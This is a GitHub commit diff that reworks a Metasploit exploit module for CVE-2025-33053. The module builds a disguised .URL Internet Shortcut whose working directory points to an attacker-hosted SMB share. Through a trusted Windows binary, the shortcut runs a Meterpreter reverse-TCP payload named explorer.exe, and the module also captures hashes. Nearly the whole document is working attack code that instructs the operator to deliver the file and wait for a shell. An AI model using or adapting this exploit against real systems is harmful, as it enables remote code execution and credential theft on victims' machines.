Skip to content

Commit 78f982e

Browse files
authored
Merge pull request #1 from msutovsky-r7/collab/webdav_working_dir_exploit
Internet Shortcut UNC Module Upgrade
2 parents dd51952 + dd6bb2c commit 78f982e

File tree

1 file changed

+46
-74
lines changed

1 file changed

+46
-74
lines changed
Lines changed: 46 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,16 @@
1-
# frozen_string_literal: true
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
25

3-
# Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
46
class MetasploitModule < Msf::Exploit::Remote
57
Rank = NormalRanking
68

9+
include Msf::Exploit::Remote::SMB::Server::Share
10+
include Msf::Exploit::Remote::SMB::Server::HashCapture
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::EXE
13+
714
def initialize(info = {})
815
super(
916
update_info(
@@ -17,114 +24,79 @@ def initialize(info = {})
1724
potentially resulting in remote code execution via a trusted binary.
1825
},
1926

20-
'Author' => ['Dev Bui Hieu'],
27+
'Author' => [
28+
'Alexandra Gofman', # vuln research
29+
'David Driker', # vuln research
30+
'Dev Bui Hieu' # module dev
31+
],
2132
'License' => MSF_LICENSE,
2233
'DisclosureDate' => '2025-06-11',
2334
'References' => [
2435
['CVE', '2025-33053'],
2536
['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
2637
],
2738
'Platform' => 'win',
28-
'Arch' => ARCH_X64,
39+
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
40+
'Passive' => true,
2941
'Targets' => [['Windows (generic)', {}]],
42+
'DefaultOptions' => {
43+
'FOLDER_NAME' => 'webdav',
44+
'FILE_NAME' => 'explorer.exe',
45+
'DisablePayloadHandler' => false,
46+
'Payload' => 'windows/x64/meterpreter/reverse_tcp'
47+
},
3048
'DefaultTarget' => 0,
3149
'Notes' => {
3250
'Stability' => [CRASH_SAFE],
33-
'SideEffects' => [ARTIFACTS_ON_DISK],
51+
'SideEffects' => [IOC_IN_LOGS],
3452
'Reliability' => [REPEATABLE_SESSION]
3553
}
3654
)
3755
)
3856

3957
register_options(
4058
[
41-
OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
42-
OptString.new('PAYLOAD_NAME', [true, 'Output payload file name', 'route.exe']),
43-
OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']),
44-
OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]),
45-
OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav'])
46-
]
47-
)
48-
register_advanced_options(
49-
[
50-
OptString.new('LOLBAS_EXE',
51-
[true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
52-
OptString.new('ICON_PATH',
53-
[true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
54-
OptInt.new('ICON_INDEX', [true, 'Icon index in icon file', 13]),
55-
OptString.new('MODIFIED_HEX', [true, 'Modified timestamp in hex', '20F06BA06D07BD014D'])
56-
]
59+
OptString.new('OUTFILE', [false, 'Output URL file name', '']),
60+
], self.class
5761
)
5862
end
5963

60-
def exploit
61-
prepare_webdav_dir
62-
generate_payload_if_needed
63-
write_url_file
64-
print_status("Module complete. Deliver #{File.expand_path(datastore['OUTFILE'])} to victim.")
65-
end
64+
def exploit_remote_load
65+
start_service
66+
print_status('The SMB service has been started.')
6667

67-
def prepare_webdav_dir
68-
print_status('Creating WebDAV directory if not exists...')
69-
FileUtils.mkdir_p(datastore['WEBDAV_DIR']) unless File.directory?(datastore['WEBDAV_DIR'])
70-
rescue Errno::EACCES
71-
fail_with(Failure::NoAccess,
72-
"Cannot create WebDAV directory. Permission denied.\n" \
73-
"Try restarting Metasploit with sudo or change ownership of #{datastore['WEBDAV_DIR']}.")
68+
self.file_contents = generate_payload_exe
7469
end
7570

76-
def generate_payload_if_needed
77-
return unless datastore['GEN_PAYLOAD']
78-
79-
exe_path = File.join(datastore['WEBDAV_DIR'], datastore['PAYLOAD_NAME'])
80-
print_status('Generating payload...')
81-
generate_payload_exe(datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT'], exe_path)
82-
end
71+
def exploit
72+
write_url_file
73+
exploit_remote_load
8374

84-
def generate_payload_exe(payload_name, lhost, lport, output_path)
85-
payload = framework.payloads.create(payload_name.to_s.strip)
86-
payload.datastore['LHOST'] = lhost
87-
payload.datastore['LPORT'] = lport
88-
raw = payload.generate
89-
exe = Msf::Util::EXE.to_win32pe(framework, raw)
90-
write_exe_file(output_path, exe)
91-
end
75+
stime = Time.now.to_f
76+
timeout = datastore['ListenerTimeout'].to_i
77+
loop do
78+
break if timeout > 0 && (stime + timeout < Time.now.to_f)
9279

93-
def write_exe_file(path, exe)
94-
File.open(path, 'wb') { |f| f.write(exe) }
95-
print_good("Payload successfully written to #{path}")
96-
rescue Errno::EACCES
97-
return_error(path)
80+
Rex::ThreadSafe.sleep(1)
81+
end
9882
end
9983

10084
def write_url_file
10185
content = generate_url_content
102-
outfile = datastore['OUTFILE']
103-
begin
104-
print_status('Generating .URL file...')
105-
File.write(outfile, content)
106-
print_good(".URL file written to: #{outfile}")
107-
rescue Errno::EACCES
108-
return_error(File.expand_path(outfile))
109-
end
86+
outfile = %(#{Rex::Text.rand_text_alphanumeric(8)}.url)
87+
path = store_local('webdav.url', nil, content, outfile)
88+
print_status("URL file: #{path}, deliver to target's machine and wait for shell")
11089
end
11190

11291
def generate_url_content
113-
unc_path = "\\\\#{datastore['LHOST']}\\#{File.basename(datastore['WEBDAV_DIR'])}\\"
11492
<<~URLFILE
11593
[InternetShortcut]
116-
URL=#{datastore['LOLBAS_EXE']}
117-
WorkingDirectory=#{unc_path}
94+
URL=C:\\Windows\\System32\\CustomShellHost.exe
95+
WorkingDirectory=\\\\#{srvhost}\\#{share}\\#{folder_name}\\
11896
ShowCommand=7
119-
IconIndex=#{datastore['ICON_INDEX']}
120-
IconFile=#{datastore['ICON_PATH']}
121-
Modified=#{datastore['MODIFIED_HEX']}
97+
IconIndex=13
98+
IconFile=C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe
99+
Modified=20F06BA06D07BD014D
122100
URLFILE
123101
end
124-
125-
def return_error(currentpath)
126-
fail_with(Failure::NoAccess,
127-
"Cannot write to #{currentpath}. Permission denied.\n" \
128-
'Try restarting Metasploit with root privilege.')
129-
end
130102
end

0 commit comments

Comments
 (0)